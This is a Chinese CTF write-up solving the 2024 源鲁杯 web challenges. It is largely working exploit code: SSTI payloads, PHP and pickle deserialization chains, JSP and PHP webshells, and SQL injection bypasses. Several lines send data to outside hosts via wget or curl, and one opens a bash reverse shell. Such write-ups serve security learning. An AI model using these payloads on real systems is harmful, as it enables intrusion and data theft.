2024源鲁杯web题解
使用目录功能请直接点击标题
[Round 1] Disal(php)
也就是a>999999,且a里面要有至少五个字母
b要大于1234并且b不能为纯数字
a=9999999aaaaaa&b=12345aaa
[Round 1] Injct(ssti)
import requests
res = ''
s = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_{}'
for i in range(1,50):
for j in s:
url = "http://gzctf.imxbt.cn:50081/greet"
data= {
"name":"{%if((''|attr((lipsum|string|list).pop(18)*2~'cla''ss'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'mro'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'geti''tem'~(lipsum|string|list).pop(18)*2)(1)|attr((lipsum|string|list).pop(18)*2~'subc''lasses'~(lipsum|string|list).pop(18)*2)()|attr((lipsum|string|list).pop(18)*2~'geti''tem'~(lipsum|string|list).pop(18)*2)(101)|attr((lipsum|string|list).pop(18)*2~'init'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'global''s'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'getit''em'~(lipsum|string|list).pop(18)*2)((lipsum|string|list).pop(18)*2~'builtin''s'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'geti''tem'~(lipsum|string|list).pop(18)*2)('ev''al')((lipsum|string|list).pop(18)*2~'imp''ort'~(lipsum|string|list).pop(18)*2)('o''s')|attr('po''pen')('head$IFS$9-c$IFS$9"+str(i)+"$IFS$9/flag')|attr('re''ad')())=='"+str(res+j)+"')%}success{%endif%}"
}
headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
r = requests.post(url, headers=headers,data=data)
if "success" in r.text:
res+=j
print(res)
break
爆破脚本
[Round 1] pExpl(php反序列化)
不是太理解粘的官方wp
代码实现了一个反序列化功能。存在 throw new Exception("Test!"); 和检测?php ,可以通过绕过 gc 和 短标签的形式去绕过该限制。
构造一下 POP 链,根据分析利用点在以下代码:
触发点通常就是常见的__destruct():
通过它调用到User#__toString ,该方法中存在 call_user_func 函数,思考能不能直接触发命令执行,由于存在参数的限制,显然不能直接调用,所以考虑调用类中不存在的函数,触发 __call 方法。
由于上述代码中,存在 in_array 的判断,所以需要调用到 array 中的一个,然后在触发文件写入,构造exp如下:
<?php
class FileHandler {
private $fileHandle;
private $fileName;
public function __construct($fileName){
$this->fileName = $fileName;
}
}
class User {
private $userData = [];
}
class Logger {
private $logFile;
private $lastEntry;
public function __construct($logFile)
{
$this->logFile = $logFile;
}
}
$c = new Logger("/var/www/html/1.php");
$b = new User();
$b->data = [$c,"info"];
$b->params = '<?=@eval($_POST[1]);?>';
$a = new FileHandler($b);
$a1 = array($a,null);
$s = serialize($a1);
$s = str_replace('1;N', '0;N', $s);
echo urlencode($s);
得到flag
[Round 1] Injct[ssti]
ssti并且过滤了print {{}} 那么只能用if语句来外带,同时测试发现禁用了curl那么我们用wget来外带
使用fenjing构造:
{%if(((((((((((lipsum|attr((lipsum|escape|batch(22)|list|first|last)*2+'globals'+(lipsum|escape|batch(22)|list|first|last)*2))|attr((lipsum|escape|batch(22)|list|first|last)*2+'getitem'+(lipsum|escape|batch(22)|list|first|last)*2))((lipsum|escape|batch(22)|list|first|last)*2+'builtins'+(lipsum|escape|batch(22)|list|first|last)*2))|attr((lipsum|escape|batch(22)|list|first|last)*2+'getitem'+(lipsum|escape|batch(22)|list|first|last)*2))(('e'+'v'+'a'+'l')))((lipsum|escape|batch(22)|list|first|last)*2+('i'+'m'+'p'+'o'+'r'+'t')+(lipsum|escape|batch(22)|list|first|last)*2))('os')|attr(('p'+'o'+'p'+'e'+'n')))((('%c'*34)%(119,103,101,116,32,49,50,52,46,50,50,48,46,51,55,46,49,55,51,58,50,51,51,51,47,96,99,97,116,32,47,102,42,96))))|attr('read'))()))%}{%endif%}
尝试手动构造:
{%if(lipsum|attr(('%c'%95)*2+'globals'+('%c'%95)*2)|attr(('%c'%95)*2+'getitem'+('%c'%95)*2)('os')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('\\167\\147\\145\\164\\40\\150\\164\\164\\160\\72\\57\\57\\61\\62\\64\\56\\62\\62\\60\\56\\63\\67\\56\\61\\67\\63\\72\\62\\63\\63\\63\\57\\140\\154\\163\\140')|attr('read')())%}{%endif%}
[Round 1] TOXEC
不能上传jsp
jsp的文件上传漏洞
先上传
shell.xml
<% if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}
%>
上传路径为../WEB-INF/shell.xml
再构造一个web.xml
上传覆盖原本的web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<servlet>
<servlet-name>exec</servlet-name>
<jsp-file>/WEB-INF/shell.xml</jsp-file>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>exec</servlet-name>
<url-pattern>/exec</url-pattern>
</servlet-mapping>
</web-app>
上传路径为../WEB-INF/web.xml
之后去/exec执行命令即可
[Round 1] sInXx
过滤了,空格等
参考资料
1'/**/UNION/**/SELECT/**/*/**/FROM/**/((SELECT/**/1)A/**/join/**/(SELECT/**/1)B/**/join/**/(SELECT/**/1)C/**/join/**/(SELECT/**/1)D/**/join/**/(SELECT/**/1)E)#
可行
接下来按部就班即可
information_schema库被禁用
找替代就行
sys.x$schema_flattened_keys
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer
1'/**/UNION/**/SELECT/**/*/**/FROM/**/((SELECT/**/GROUP_CONCAT(TABLE_NAME)/**/FROM/**/sys.x$schema_table_statistics_with_buffer/**/WHERE/**/TABLE_SCHEMA=DATABASE())A/**/join/**/(SELECT/**/1)B/**/join/**/(SELECT/**/1)C/**/join/**/(SELECT/**/1)D/**/join/**/(SELECT/**/1)E)#
1'/**/UNION/**/SELECT/**/*/**/FROM/**/((SELECT/**/`2`/**/FROM/**/(SELECT/**/*/**/FROM/**/((SELECT/**/1)a/**/JOIN/**/(SELECT/**/2)b)/**/UNION/**/SELECT/**/*/**/FROM/**/DataSyncFLAG)p/**/limit/**/2/**/offset/**/1)A/**/join/**/(SELECT/**/1)B/**/join/**/(SELECT/**/1)C/**/join/**/(SELECT/**/1)D/**/join/**/(SELECT/**/1)E)#
[Round 2] Cmnts
很明显的一个变量覆盖
[Round 2] PHUPE
给了源码
知道是一个Smarty模板
替换tpl文件实现命令执行
因为有过滤所以我们进行 ASCII 绕过
{extends file='views/layout.tpl'}
{block name=content}
<h1>CTF File Reader</h1>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">Upload</button>
</form>
<pre>{$file_content}</pre>
{math equation="(\"\\163\\171\\163\\164\\145\\155\")(\"\\143\\141\\164\\40\\57\\146\\154\\141\\147\")"}
{/block}
使用 {math} 标签执行数学运算,但这里的 equation 字符串实际上是一段使用 ASCII 码表示的文本。解码后,这些字符转换为:("system")("cat /flag")。
\163\171\163\164\145\155 解码后为 "system"。
\143\141\164\40\57\146\154\141\147 解码后为 "cat /flag"。
这段代码尝试在 Smarty 模板中执行系统命令,通过调用 system("cat /flag") 读取敏感文件内容(如 flag 文件内容)
[Round 2] Pseudo
源码审过后发现这里可以利用,下载的东西只进行了mime_content_type 函数判断文件类型
我们只要在flag文件的最前面伪造出GIF89A即可
可以利用filter过滤器的编码组合构造GIF89A
就是利用不同编码转换在原有数据前产生我们想要的字符
具体资料
https://tttang.com/archive/1395/
https://blog.csdn.net/qq_46266259/article/details/129034405
https://gynvael.coldwind.pl/?id=671
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
随便上传一个图片
然后抓取下载包
更改file
payload:
php://filter/convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|/resource=/flag
先去掉图片头再base64
再去掉前面多伪造的字符即可得到flag
[Round 2] RedFox
登陆过后发现有一个可远程url的地方可以想到利用ssrf
经过测试发现确实可以
下面复现不成功粘的官方wp
成功读取,不过常规的 /flag 读取不到 flag ,判断应该是考查其它利用方式。利用 file 协议读取本地文件,发现在 post.php 存在如下函数:
允许我们读取文件,那么之后读取index.php,在以下位置发现可疑调用:
获取 test 方法内容如下:
发现直接提供了一个eval 代码执行,但是限制我们传入的参数,不能为字母数字,且不一致不能超过7个。
考虑利用 ./???/??? 的方式进行利用,但是需要存在一个临时文件,考虑利用 sess 临时文件,读取配置文件发现该保存目录为,如下图:
然后编写脚本写入一句话木马:
import io
import sys
import requests
import threading
sessid = '123123123123123'
def WRITE(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://192.168.50.193:18999/index.php',
data={
"PHP_SESSION_UPLOAD_PROGRESS": "1\necho '<?php eval($_POST[1]);'>/var/www/html/uploads/1.php\n"},
files={"file": ('q.txt', f)},
cookies={'PHPSESSID': sessid}
)
def READ(session):
while True:
request = requests.session()
data = {
'action': 'login',
'username': 'test',
'password': 'test123'
}
request.post("http://192.168.50.193:18999", data=data)
data = {
'action': 'download_message',
'data': '`. /???/???/???/???/????????????????????`;'
}
request.post("http://192.168.50.193:18999/", data=data)
if requests.get("http://192.168.50.193:18999/uploads/1.php").status_code != 404:
print('Success!')
exit(0)
with requests.session() as session:
t1 = threading.Thread(target=WRITE, args=(session,))
t1.daemon = True
t1.start()
READ(session)
[Round 2] SNEKLY
复现失败
题目直接提供源码审计,关键触发点应该在于 /unSer,需要构造出 user['data'] 才能够进行反序列化,进行测试后发现存在一处SQL注入,存在 username 与 password 的一致性检测,考虑利用SQL Quine来进行构造绕过,并且将 user['data'] 位置写入反序列化数据。
关于 SQL Quine 的构造,通常都是以 REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46) 的形式,详细如下:
select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
利用'replace(".",char(46),".")');替换'replace(".",char(46),".")' 中的符号.
输入和输出的结果为:
replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") ;
然后分析 pickle 反序列化,过滤了一些字符,但是可以利用以下 payload 进行绕过:
b'''c__builtin__
filter
p0
0(S'curl http://`whoami`.c6jqhw6vgg44g1o9ys27ay6rbih950tp.oastify.com'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''
exp
import base64
import requests
def quine(data):
data = data.replace('$$', "REPLACE(REPLACE(REPLACE($$,CHAR(39),CHAR(34)),CHAR(36),$$), CHAR(92), CHAR())")
data1 = data.replace("'", '"').replace('$$', "'$'")
data = data.replace('$$', f'"{data1}"')
return data
def exp():
username = "test\"'"
opcode = b'''c__builtin__
filter
p0
0(S'curl http://`cat /f*`.3cgdgr4i4bjr3ytl38s6zm0mddj47vvk.oastify.com'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''
a = base64.b64encode(opcode).decode()
res = ''
for i in a:
if ord(i) > 58 or ord(i) < 47:
res += "||CHAR(" + str(ord(i)) + ")"
else:
res += "||" + i
res = res[2:]
password = f" UNION SELECT $$, CHAR({','.join(str(ord(c)) for c in username)}), $$,({res});-- -"
password = quine(password)
requests.post(url="http://gzctf.imxbt.cn:50137/login",
data={
"username": username,
"password": password
})
requests.get(url="http://gzctf.imxbt.cn:50137/unSer")
if __name__ == "__main__":
exp()
得到flag
[Round 3] 404
查看源码
抓包访问
直接前端禁用js
php脚本跑答案再上传
也可以直接搓脚本
import requests
import re
import math
session = requests.Session()
url = 'http://xxx.xxx.xxx.xxx/ca.php' # 替换为你的目标URL
response = session.get(url)
question_match = re.search(r'<pre>(.*?)</pre>', response.text, re.DOTALL)
if question_match:
question_steps = question_match.group(1).strip()
question_steps = question_steps.replace('$', '')
question_steps = question_steps.replace('sqrt', 'math.sqrt')
question_steps = question_steps.replace('pow', 'math.pow')
question_steps = question_steps.replace('log', 'math.log')
question_steps = question_steps.replace('sin', 'math.sin')
question_steps = question_steps.replace('cos', 'math.cos')
question_steps = question_steps.replace('tan', 'math.tan')
question_steps = question_steps.replace('abs', 'math.fabs')
question_steps = question_steps.replace('exp', 'math.exp')
print("提取到的数学题步骤:\n", question_steps)
local_vars = {}
try:
exec(question_steps, {"math": math}, local_vars)
answer = local_vars['answer']
rounded_answer = round(answer, 2)
print("计算出的答案(保留两位小数):", rounded_answer)
data = {
'user_answer': f"{rounded_answer:.2f}"
}
result = session.post(url, data=data)
print("提交后的页面内容:")
print(result.text)
except Exception as e:
print("计算过程中发生错误:", e)
else:
print("未找到计算公式")
[Round 3] PRead
Pickle反序列化
到处文件是个pkl
很明显是Pickle反序列化
import pickle
import os
class A(object):
def __reduce__(self):
return (eval, ('os.system("bash -c \'bash -i >& /dev/tcp/156.238.233.53/5555 0>&1\'")',))
a = A()
with open('modified_command.pkl', 'wb') as f:
pickle.dump(a, f)